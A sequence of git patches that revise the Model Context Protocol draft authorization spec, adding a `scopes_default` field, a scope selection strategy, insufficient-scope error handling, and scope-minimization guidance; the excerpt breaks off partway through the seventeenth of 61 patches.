From e68b04a717f0ff0b898ca85f4f7a1bf35a778c8a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Tue, 24 Jun 2025 15:22:54 -0700
Subject: [PATCH 01/61] Update authorization.mdx
---
.../draft/basic/authorization.mdx | 74 ++++++++++++++++++-
1 file changed, 71 insertions(+), 3 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 9bf995d90..484a7f92f 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -91,6 +91,33 @@ as described in [RFC9728 Section 5.1 "WWW-Authenticate Response"](https://datatr
MCP clients **MUST** be able to parse `WWW-Authenticate` headers and respond appropriately to `HTTP 401 Unauthorized` responses from the MCP server.
+#### Default Scopes
+
+In addition to the standard Protected Resource Metadata fields defined in [RFC9728](https://datatracker.ietf.org/doc/html/rfc9728),
+MCP servers **MAY** include the optional `scopes_default`extension.
+
+`scopes_default` is a JSON array containing a list of scope values that represent the default scopes for clients to use
+when initiating the authorization flow. This field provides guidance to clients about the appropriate scopes to request
+when starting the authorization process or responding to scope-related errors.
+
+MCP servers **SHOULD** include this field to follow the principle of least privilege and prevent clients from requesting excessive permissions.
+By providing `scopes_default`, servers guide clients toward requesting only the minimum scopes necessary for typical operations,
+rather than all available scopes.
+
+The `scopes_default` values **MUST** be a subset of the `scopes_supported` values.
+
+Example Protected Resource Metadata with `scopes_default`:
+
+```json
+{
+ "resource": "https://mcp.example.com",
+ "authorization_servers": ["https://auth.example.com"],
+ "scopes_supported": ["read", "write", "admin", "delete"],
+ "scopes_default": ["read"],
+ "bearer_methods_supported": ["header"]
+}
+```
+
#### Server Metadata Discovery
MCP clients **MUST** follow the OAuth 2.0 Authorization Server Metadata [RFC8414](https://datatracker.ietf.org/doc/html/rfc8414)
@@ -150,6 +177,19 @@ these authorization servers, MCP clients will have to either:
OAuth client themselves (e.g., through a configuration interface hosted by the
server).
+#### Scope Selection Strategy
+
+When implementing authorization flows, MCP clients **SHOULD** follow the principle of least privilege by requesting
+only the scopes necessary for their intended operations. The scope selection strategy outlined in the
+[Error Handling](#error-handling) section provides a progressive approach that:
+
+- Minimizes the initial scope request to reduce user friction
+- Leverages server-provided guidance through the `scopes_default` extension
+- Provides fallback mechanisms to ensure successful authorization
+
+This approach is particularly important in dynamic environments where clients may not have prior knowledge of server-specific
+scope requirements.
+
### Authorization Flow Steps
The complete Authorization flow proceeds as follows:
@@ -176,9 +216,7 @@ sequenceDiagram
alt Dynamic client registration
C->>A: POST /register
A->>C: Client Credentials
- end
-
- Note over C: Generate PKCE parameters
Include resource parameter
+ end Note over C: Generate PKCE parameters
Include resource parameter
Apply scope selection strategy
C->>B: Open browser with authorization URL + code_challenge + resource
B->>A: Authorization request with resource parameter
Note over A: User authorizes
@@ -286,6 +324,24 @@ Servers **MUST** return appropriate HTTP status codes for authorization errors:
| 403 | Forbidden | Invalid scopes or insufficient permissions |
| 400 | Bad Request | Malformed authorization request |
+#### Scope Error Handling
+
+When clients encounter scope-related errors during authorization, they **SHOULD** implement the following fallback strategy based on the
+Protected Resource Metadata document. Error responses **MUST** follow the OAuth 2.1 error response format as defined in
+[OAuth 2.1 Section 3.2.3 "Error Response"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#name-error-response):
+
+If the authorization server responds with scope-related errors, clients **SHOULD** retry the authorization request using the
+`scopes_default` values from the Protected Resource Metadata document. If the `scopes_default` field is not available in the Protected Resource Metadata,
+clients **SHOULD** retry with all scopes listed in `scopes_supported`.
+
+This simplified approach ensures clients always use server-provided scope guidance from the Protected Resource Metadata document,
+respecting the server's preference for default scopes while providing a clear fallback path.
+
+Clients **SHOULD** log scope-related errors to aid in debugging authorization issues.
+
+Authorization servers **MAY** include scope guidance in `WWW-Authenticate` responses to provide immediate feedback about required scopes
+without requiring additional metadata lookups.
+
## Security Considerations
Implementations **MUST** follow OAuth 2.1 security best practices as laid out in [OAuth 2.1 Section 7. "Security Considerations"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-12#name-security-considerations).
@@ -373,3 +429,15 @@ MCP clients **MUST** implement and use the `resource` parameter as defined in [R
to explicitly specify the target resource for which the token is being requested. This requirement aligns with the recommendation in
[RFC 9728 Section 7.4](https://datatracker.ietf.org/doc/html/rfc9728#section-7.4). This ensures that access tokens are bound to their intended resources and
cannot be misused across different services.
+
+### Scope Minimization
+
+Following the principle of least privilege, MCP clients **SHOULD** request only the minimum scopes necessary for their intended operations.
+The `scopes_default` extension in Protected Resource Metadata provides server guidance for appropriate default scope selection, helping clients avoid:
+
+- **Over-privileged tokens**: Requesting excessive scopes increases the potential impact if tokens are compromised
+- **User friction**: Large scope requests may cause user concern or rejection during authorization
+- **Attack surface**: Tokens with unnecessary privileges expand the potential attack surface
+
+MCP servers **SHOULD** implement fine-grained scopes that allow clients to request access to only the specific resources and operations they need.
+Authorization servers **SHOULD** clearly communicate the implications of each scope to users during the authorization process.
From 9342e752b08b60209dcfcaae1506db01025cfe39 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Tue, 24 Jun 2025 15:26:55 -0700
Subject: [PATCH 02/61] Fixing issue with Prettier flagging the Markdown
---
docs/clients.mdx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/clients.mdx b/docs/clients.mdx
index a2f1a8022..fe838139f 100644
--- a/docs/clients.mdx
+++ b/docs/clients.mdx
@@ -539,7 +539,7 @@ Programmatically assemble prompts for LLMs using [GenAIScript](https://microsoft
**Key features:**
- **Prompt-to-MCP Server**: Generate fully functional MCP servers from natural language descriptions
-- **Self-Testing & Debugging**: Autonomously test, debug, and improve created MCP servers
+- **Self-Testing & Debugging**: Autonomously test, debug, and improve created MCP servers
- **Universal MCP Client**: Works with any MCP server through intuitive, natural language integration
- **Curated MCP Directory**: Access to tested, one-click installable MCP servers (Neon, Netlify, GitHub, Context7, and more)
- **Multi-Server Orchestration**: Leverage multiple MCP servers simultaneously for complex workflows
From 6547582c13ccda457acb7fff3fa626baae4f7ca8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Tue, 24 Jun 2025 15:58:21 -0700
Subject: [PATCH 03/61] Update authorization.mdx
---
.../draft/basic/authorization.mdx | 52 +++++++++++++++----
1 file changed, 41 insertions(+), 11 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 484a7f92f..a9307ae7d 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -326,21 +326,51 @@ Servers **MUST** return appropriate HTTP status codes for authorization errors:
#### Scope Error Handling
-When clients encounter scope-related errors during authorization, they **SHOULD** implement the following fallback strategy based on the
-Protected Resource Metadata document. Error responses **MUST** follow the OAuth 2.1 error response format as defined in
-[OAuth 2.1 Section 3.2.3 "Error Response"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#name-error-response):
+MCP clients may encounter scope-related errors during both initial authorization and runtime operations. This section provides
+comprehensive guidance for handling these scenarios using OAuth 2.1 standards and the fallback mechanisms defined in
+[RFC 6750 (Bearer Token Usage)](https://datatracker.ietf.org/doc/html/rfc6750) and [RFC 9728 (OAuth 2.0 Protected Resource Metadata)](https://datatracker.ietf.org/doc/html/rfc9728).
-If the authorization server responds with scope-related errors, clients **SHOULD** retry the authorization request using the
-`scopes_default` values from the Protected Resource Metadata document. If the `scopes_default` field is not available in the Protected Resource Metadata,
-clients **SHOULD** retry with all scopes listed in `scopes_supported`.
+##### Initial Authorization Errors
-This simplified approach ensures clients always use server-provided scope guidance from the Protected Resource Metadata document,
-respecting the server's preference for default scopes while providing a clear fallback path.
+During initial authorization, if the authorization server responds with scope-related errors, clients **SHOULD**
+implement the following fallback strategy. Error responses **MUST** follow the OAuth 2.1 error response format as
+defined in [OAuth 2.1 Section 3.2.3 "Error Response"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#name-error-response).
-Clients **SHOULD** log scope-related errors to aid in debugging authorization issues.
+Clients **SHOULD** retry the authorization request using the `scopes_default` values from the Protected Resource Metadata document.
+If the `scopes_default` field is not available, clients **SHOULD** retry with all scopes listed in `scopes_supported`.
-Authorization servers **MAY** include scope guidance in `WWW-Authenticate` responses to provide immediate feedback about required scopes
-without requiring additional metadata lookups.
+##### Insufficient Scope During Runtime
+
+When a client makes a request with insufficient authorization scope during runtime operations, the server **SHOULD** respond with:
+
+- `HTTP 403 Forbidden` status code (per [RFC 6750 Section 3.1](https://datatracker.ietf.org/doc/html/rfc6750#section-3.1))
+- `WWW-Authenticate` header with the `Bearer` scheme and additional parameters:
+ - `error="insufficient_scope"` - indicating the specific type of authorization failure
+ - `scope="required_scope1 required_scope2"` - specifying the minimum scopes needed for the operation
+ - `error_description` (optional) - human-readable description of the error
+
+Example insufficient scope response:
+
+```http
+HTTP/1.1 403 Forbidden
+WWW-Authenticate: Bearer error="insufficient_scope",
+ scope="files:read files:write",
+ error_description="Additional file write permission required"
+```
+
+##### Client Scope Upgrade Flow
+
+When a client receives any scope-related error (initial authorization or runtime insufficient scope), it **SHOULD** follow this upgrade flow:
+
+1. **Parse error information** from the authorization server response or `WWW-Authenticate` header
+2. **Determine required scopes** using the following fallback hierarchy:
+ - If the `scope` parameter is present in the `WWW-Authenticate` header, use those scopes
+ - If `scope` is not available, consult the `scopes_default` field from the server's Protected Resource Metadata (per [RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728))
+ - If `scopes_default` is not available, use all scopes listed in `scopes_supported` from the Protected Resource Metadata
+3. **Determine available scopes** by consulting the `scopes_supported` field from the server's resource metadata
+4. **Calculate the union** of current scopes (if any) and required scopes
+5. **Initiate (re-)authorization** with the broader scope set
+6. **Retry the original request** with the new authorization
## Security Considerations
From de338889c8472512391e8a27aa8f0bf7972e77be Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Tue, 24 Jun 2025 16:00:03 -0700
Subject: [PATCH 04/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index a9307ae7d..521ed95f3 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -353,8 +353,8 @@ Example insufficient scope response:
```http
HTTP/1.1 403 Forbidden
-WWW-Authenticate: Bearer error="insufficient_scope",
- scope="files:read files:write",
+WWW-Authenticate: Bearer error="insufficient_scope",
+ scope="files:read files:write",
error_description="Additional file write permission required"
```
From 4b79b15554130a86f5d1b6fc8cb13be4f23a2848 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Tue, 24 Jun 2025 16:01:41 -0700
Subject: [PATCH 05/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 521ed95f3..0c6a33b31 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -181,7 +181,7 @@ these authorization servers, MCP clients will have to either:
When implementing authorization flows, MCP clients **SHOULD** follow the principle of least privilege by requesting
only the scopes necessary for their intended operations. The scope selection strategy outlined in the
-[Error Handling](#error-handling) section provides a progressive approach that:
+[Scope Error Handling](#scope-error-handling) section provides a progressive approach that:
- Minimizes the initial scope request to reduce user friction
- Leverages server-provided guidance through the `scopes_default` extension
From ba7d31465936df9430fe9e6b1e70f062c1c8eed3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Tue, 24 Jun 2025 16:10:19 -0700
Subject: [PATCH 06/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 0c6a33b31..12643a403 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -327,8 +327,9 @@ Servers **MUST** return appropriate HTTP status codes for authorization errors:
#### Scope Error Handling
MCP clients may encounter scope-related errors during both initial authorization and runtime operations. This section provides
-comprehensive guidance for handling these scenarios using OAuth 2.1 standards and the fallback mechanisms defined in
-[RFC 6750 (Bearer Token Usage)](https://datatracker.ietf.org/doc/html/rfc6750) and [RFC 9728 (OAuth 2.0 Protected Resource Metadata)](https://datatracker.ietf.org/doc/html/rfc9728).
+comprehensive guidance for handling these scenarios using OAuth 2.1 standards and the error handling patterns defined in
+[RFC 6750 (Bearer Token Usage)](https://datatracker.ietf.org/doc/html/rfc6750) and the metadata fields
+from [RFC 9728 (OAuth 2.0 Protected Resource Metadata)](https://datatracker.ietf.org/doc/html/rfc9728).
##### Initial Authorization Errors
From 9450b844507adf4bc8ca0148cff194db59df1b1b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Tue, 24 Jun 2025 16:13:18 -0700
Subject: [PATCH 07/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 12 +++++-------
1 file changed, 5 insertions(+), 7 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 12643a403..2f4890c5e 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -364,14 +364,12 @@ WWW-Authenticate: Bearer error="insufficient_scope",
When a client receives any scope-related error (initial authorization or runtime insufficient scope), it **SHOULD** follow this upgrade flow:
1. **Parse error information** from the authorization server response or `WWW-Authenticate` header
-2. **Determine required scopes** using the following fallback hierarchy:
+1. **Determine required scopes** using the following fallback hierarchy:
- If the `scope` parameter is present in the `WWW-Authenticate` header, use those scopes
- - If `scope` is not available, consult the `scopes_default` field from the server's Protected Resource Metadata (per [RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728))
- - If `scopes_default` is not available, use all scopes listed in `scopes_supported` from the Protected Resource Metadata
-3. **Determine available scopes** by consulting the `scopes_supported` field from the server's resource metadata
-4. **Calculate the union** of current scopes (if any) and required scopes
-5. **Initiate (re-)authorization** with the broader scope set
-6. **Retry the original request** with the new authorization
+ - If `scope` is not available, consult the `scopes_default` field from the Protected Resource Metadata document
+ - If `scopes_default` is not available, use all scopes listed in `scopes_supported` from the Protected Resource Metadata document
+1. **Initiate (re-)authorization** with the updated scopes
+1. **Retry the original request** with the new authorization
## Security Considerations
From 033d8a0c5d73870a6a0e72eef8a024306f6c6a63 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Tue, 24 Jun 2025 16:16:13 -0700
Subject: [PATCH 08/61] Update authorization.mdx
---
.../draft/basic/authorization.mdx | 18 ++++++++++++++----
1 file changed, 14 insertions(+), 4 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 2f4890c5e..a4214b444 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -340,6 +340,8 @@ defined in [OAuth 2.1 Section 3.2.3 "Error Response"](https://datatracker.ietf.o
Clients **SHOULD** retry the authorization request using the `scopes_default` values from the Protected Resource Metadata document.
If the `scopes_default` field is not available, clients **SHOULD** retry with all scopes listed in `scopes_supported`.
+To prevent infinite retry loops, clients **MUST NOT** retry with the same scope set that was previously rejected. If no alternative scope set is available, clients **SHOULD** treat the authorization as permanently failed and present an appropriate error to the user.
+
##### Insufficient Scope During Runtime
When a client makes a request with insufficient authorization scope during runtime operations, the server **SHOULD** respond with:
@@ -361,15 +363,23 @@ WWW-Authenticate: Bearer error="insufficient_scope",
##### Client Scope Upgrade Flow
-When a client receives any scope-related error (initial authorization or runtime insufficient scope), it **SHOULD** follow this upgrade flow:
+When a client receives any scope-related error (initial authorization or runtime insufficient scope),
+it **SHOULD** follow this upgrade flow:
1. **Parse error information** from the authorization server response or `WWW-Authenticate` header
-1. **Determine required scopes** using the following fallback hierarchy:
+2. **Determine required scopes** using the following fallback hierarchy:
- If the `scope` parameter is present in the `WWW-Authenticate` header, use those scopes
- If `scope` is not available, consult the `scopes_default` field from the Protected Resource Metadata document
- If `scopes_default` is not available, use all scopes listed in `scopes_supported` from the Protected Resource Metadata document
-1. **Initiate (re-)authorization** with the updated scopes
-1. **Retry the original request** with the new authorization
+3. **Validate scope upgrade** to prevent infinite loops:
+ - Calculate the union of current scopes and newly required scopes
+ - If the resulting scope set is identical to the previously requested scopes, the client **MUST NOT** retry the authorization
+ - If no new scopes can be added (all required scopes were already requested), the client **SHOULD** treat this as a permanent authorization failure
+4. **Initiate (re-)authorization** with the broader scope set only if new scopes were identified
+5. **Retry the original request** with the new authorization
+
+Clients **SHOULD** implement retry limits and **SHOULD** cache scope upgrade attempts to avoid repeated failures
+for the same resource and operation combination.
## Security Considerations
From 2497f51cd3bf4efa984e03aa86b448c85f6a5db8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Tue, 24 Jun 2025 16:20:08 -0700
Subject: [PATCH 09/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 12 +++---------
1 file changed, 3 insertions(+), 9 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index a4214b444..c370601d9 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -180,15 +180,9 @@ these authorization servers, MCP clients will have to either:
#### Scope Selection Strategy
When implementing authorization flows, MCP clients **SHOULD** follow the principle of least privilege by requesting
-only the scopes necessary for their intended operations. The scope selection strategy outlined in the
-[Scope Error Handling](#scope-error-handling) section provides a progressive approach that:
-
-- Minimizes the initial scope request to reduce user friction
-- Leverages server-provided guidance through the `scopes_default` extension
-- Provides fallback mechanisms to ensure successful authorization
-
-This approach is particularly important in dynamic environments where clients may not have prior knowledge of server-specific
-scope requirements.
+only the scopes necessary for their intended operations. See the [Scope Error Handling](#scope-error-handling) section
+for the progressive scope upgrade flow and the [Scope Minimization](#scope-minimization) section for security considerations
+related to scope selection.
### Authorization Flow Steps
From 8ff2394b96a82510cbce9cba789fd10880c94f9f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Tue, 24 Jun 2025 16:38:26 -0700
Subject: [PATCH 10/61] Update authorization.mdx
---
.../draft/basic/authorization.mdx | 34 ++++++++-----------
1 file changed, 15 insertions(+), 19 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index c370601d9..56a03a2a2 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -180,9 +180,19 @@ these authorization servers, MCP clients will have to either:
#### Scope Selection Strategy
When implementing authorization flows, MCP clients **SHOULD** follow the principle of least privilege by requesting
-only the scopes necessary for their intended operations. See the [Scope Error Handling](#scope-error-handling) section
-for the progressive scope upgrade flow and the [Scope Minimization](#scope-minimization) section for security considerations
-related to scope selection.
+only the scopes necessary for their intended operations. During the initial authorization handshake, MCP clients
+**SHOULD** follow this priority order for scope selection:
+
+1. **Use `scopes_default`** from the Protected Resource Metadata document as the starting point
+2. **If `scopes_default` is not available**, use all scopes defined `scopes_supported`
+
+Clients **MAY** make individual decisions on scope selection and rely on incremental consent.
+
+This approach minimizes user friction while following the principle of least privilege. Clients can always request
+additional scopes later through the runtime scope upgrade flow described in the [Scope Error Handling](#scope-error-handling)
+section.
+
+See the [Scope Minimization](#scope-minimization) section for additional security considerations related to scope selection.
### Authorization Flow Steps
@@ -320,23 +330,9 @@ Servers **MUST** return appropriate HTTP status codes for authorization errors:
#### Scope Error Handling
-MCP clients may encounter scope-related errors during both initial authorization and runtime operations. This section provides
-comprehensive guidance for handling these scenarios using OAuth 2.1 standards and the error handling patterns defined in
-[RFC 6750 (Bearer Token Usage)](https://datatracker.ietf.org/doc/html/rfc6750) and the metadata fields
-from [RFC 9728 (OAuth 2.0 Protected Resource Metadata)](https://datatracker.ietf.org/doc/html/rfc9728).
-
-##### Initial Authorization Errors
-
-During initial authorization, if the authorization server responds with scope-related errors, clients **SHOULD**
-implement the following fallback strategy. Error responses **MUST** follow the OAuth 2.1 error response format as
-defined in [OAuth 2.1 Section 3.2.3 "Error Response"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#name-error-response).
-
-Clients **SHOULD** retry the authorization request using the `scopes_default` values from the Protected Resource Metadata document.
-If the `scopes_default` field is not available, clients **SHOULD** retry with all scopes listed in `scopes_supported`.
-
-To prevent infinite retry loops, clients **MUST NOT** retry with the same scope set that was previously rejected. If no alternative scope set is available, clients **SHOULD** treat the authorization as permanently failed and present an appropriate error to the user.
+This section covers handling insufficient scope errors during runtime operations when a client already has a token but needs additional permissions. This follows the error handling patterns defined in [RFC 6750 (Bearer Token Usage)](https://datatracker.ietf.org/doc/html/rfc6750) and leverages the metadata fields from [RFC 9728 (OAuth 2.0 Protected Resource Metadata)](https://datatracker.ietf.org/doc/html/rfc9728).
-##### Insufficient Scope During Runtime
+##### Runtime Insufficient Scope Errors
When a client makes a request with insufficient authorization scope during runtime operations, the server **SHOULD** respond with:
From 59a3b5a7703c39cf29de306f3ed7d8a0f5037ae2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Tue, 24 Jun 2025 16:40:32 -0700
Subject: [PATCH 11/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 56a03a2a2..e7f9aad90 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -220,7 +220,9 @@ sequenceDiagram
alt Dynamic client registration
C->>A: POST /register
A->>C: Client Credentials
- end Note over C: Generate PKCE parameters
Include resource parameter
Apply scope selection strategy
+ end
+
+ Note over C: Generate PKCE parameters
Include resource parameter
Apply scope selection strategy
C->>B: Open browser with authorization URL + code_challenge + resource
B->>A: Authorization request with resource parameter
Note over A: User authorizes
From 3bc0f00aaf3168133ec320da1fe7540d47fdc2a5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Tue, 24 Jun 2025 16:44:48 -0700
Subject: [PATCH 12/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index e7f9aad90..0617ccc52 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -220,8 +220,8 @@ sequenceDiagram
alt Dynamic client registration
C->>A: POST /register
A->>C: Client Credentials
- end
-
+ end
+
Note over C: Generate PKCE parameters
Include resource parameter
Apply scope selection strategy
C->>B: Open browser with authorization URL + code_challenge + resource
B->>A: Authorization request with resource parameter
From a88d0ef910cf9b5528ba0dc0d7d39d30f7bef560 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Mon, 30 Jun 2025 18:09:17 -0700
Subject: [PATCH 13/61] Update docs/specification/draft/basic/authorization.mdx
Co-authored-by: Aaron Parecki
---
docs/specification/draft/basic/authorization.mdx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 0617ccc52..b08d0530f 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -186,7 +186,7 @@ only the scopes necessary for their intended operations. During the initial auth
1. **Use `scopes_default`** from the Protected Resource Metadata document as the starting point
2. **If `scopes_default` is not available**, use all scopes defined `scopes_supported`
-Clients **MAY** make individual decisions on scope selection and rely on incremental consent.
+Clients **MAY** use out-of-band information to decide on scope selection and incrementally ask the user for consent.
This approach minimizes user friction while following the principle of least privilege. Clients can always request
additional scopes later through the runtime scope upgrade flow described in the [Scope Error Handling](#scope-error-handling)
From 9d2923abada3bce3ce15353c83bfe079b953428c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Mon, 30 Jun 2025 18:09:27 -0700
Subject: [PATCH 14/61] Update docs/specification/draft/basic/authorization.mdx
Co-authored-by: Aaron Parecki
---
docs/specification/draft/basic/authorization.mdx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index b08d0530f..bba3b95f4 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -359,7 +359,7 @@ When a client receives any scope-related error (initial authorization or runtime
it **SHOULD** follow this upgrade flow:
1. **Parse error information** from the authorization server response or `WWW-Authenticate` header
-2. **Determine required scopes** using the following fallback hierarchy:
+2. **Determine required scopes** using the following algorithm:
- If the `scope` parameter is present in the `WWW-Authenticate` header, use those scopes
- If `scope` is not available, consult the `scopes_default` field from the Protected Resource Metadata document
- If `scopes_default` is not available, use all scopes listed in `scopes_supported` from the Protected Resource Metadata document
From 149f301767043d342d0512d751494eec4930561d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Mon, 30 Jun 2025 18:09:35 -0700
Subject: [PATCH 15/61] Update docs/specification/draft/basic/authorization.mdx
Co-authored-by: Aaron Parecki
---
docs/specification/draft/basic/authorization.mdx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index bba3b95f4..d23c574c7 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -336,7 +336,7 @@ This section covers handling insufficient scope errors during runtime operations
##### Runtime Insufficient Scope Errors
-When a client makes a request with insufficient authorization scope during runtime operations, the server **SHOULD** respond with:
+When a client makes a request with an access token with insufficient scope during runtime operations, the server **SHOULD** respond with:
- `HTTP 403 Forbidden` status code (per [RFC 6750 Section 3.1](https://datatracker.ietf.org/doc/html/rfc6750#section-3.1))
- `WWW-Authenticate` header with the `Bearer` scheme and additional parameters:
From e6b2fbb4a9c61b7985ea3b8cd40aaf292af3c69b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Mon, 30 Jun 2025 18:09:51 -0700
Subject: [PATCH 16/61] Update docs/specification/draft/basic/authorization.mdx
Co-authored-by: Tolga Acar
---
docs/specification/draft/basic/authorization.mdx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index d23c574c7..36382af8d 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -368,7 +368,7 @@ it **SHOULD** follow this upgrade flow:
- If the resulting scope set is identical to the previously requested scopes, the client **MUST NOT** retry the authorization
- If no new scopes can be added (all required scopes were already requested), the client **SHOULD** treat this as a permanent authorization failure
4. **Initiate (re-)authorization** with the broader scope set only if new scopes were identified
-5. **Retry the original request** with the new authorization
+5. **Retry the original request** with the new authorization no more than a few times and treat this as a permanent authorization failure
Clients **SHOULD** implement retry limits and **SHOULD** cache scope upgrade attempts to avoid repeated failures
for the same resource and operation combination.
From 90f5415a4a49e5b4e288b7e998dcf341da08a6b9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Mon, 30 Jun 2025 18:10:03 -0700
Subject: [PATCH 17/61] Update docs/specification/draft/basic/authorization.mdx
Co-authored-by: Tolga Acar
---
docs/specification/draft/basic/authorization.mdx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 36382af8d..1bfb28570 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
